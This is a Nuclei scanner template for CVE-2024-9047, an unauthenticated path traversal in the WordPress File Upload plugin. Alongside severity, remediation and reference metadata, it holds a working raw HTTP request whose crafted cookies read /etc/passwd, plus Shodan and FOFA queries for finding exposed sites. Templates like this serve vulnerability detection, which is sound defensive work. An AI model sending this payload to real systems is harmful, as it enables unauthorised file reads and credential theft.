WordPress File Upload <= 4.24.11 - Arbitrary File Read

id: CVE-2024-9047

info:
  name: WordPress File Upload <= 4.24.11 - Arbitrary File Read
  author: s4e-io,S9n3x
  severity: critical
  description: |
    The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.
  impact: |
    Unauthenticated attackers can read or delete arbitrary files outside the intended directory on WordPress sites running PHP 7.4 or earlier, potentially exposing sensitive configuration files, credentials, and causing system disruption.
  remediation: |
    Update WordPress File Upload plugin to version 4.24.12 or later to address the path traversal vulnerability in wfu_file_downloader.php, or upgrade PHP to version 8.0 or later.
  reference:
    - https://github.com/iSee857/CVE-2024-9047-PoC
    - https://nvd.nist.gov/vuln/detail/cve-2024-9047
    - https://plugins.trac.wordpress.org/changeset/3164449/wp-file-upload
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/554a314c-9e8e-4691-9792-d086790ef40f?source=cve
    - https://github.com/wy876/POC
    - https://www.usom.gov.tr/bildirim/tr-24-1670
    - https://sploitus.com/exploit?id=3358E6CC-BC63-56E4-A4C4-1F70903C34D5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9047
    cwe-id: CWE-22
    epss-score: 0.93339
    epss-percentile: 0.99838
  metadata:
    max-request: 1
    vendor: nickolas_bossinas
    product: wordpress-file-upload
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/wp-file-upload/"
    fofa-query: body="/wp-content/plugins/wp-file-upload"
    publicwww-query: /wp-content/plugins/wp-file-upload/
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-file-upload,lfi,vkev,vuln

variables:
  file: "{{rand_base(16)}}"
  ticket: "{{rand_base(16)}}"
  upload: "{{rand_base(32)}}"
  upload_more: "{{rand_base(32)}}"
  time: "{{rand_int(1000000000000, 9999999999999)}}"

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file={{file}}&ticket={{ticket}}&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_{{upload}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: wp_wpfileupload_{{upload}}={{upload_more}}; wfu_storage_{{file}}=/../../../../../etc/passwd[[name]]; wfu_download_ticket_{{ticket}}={{time}}; wfu_ABSPATH=/;

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "filename=\"passwd")'
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and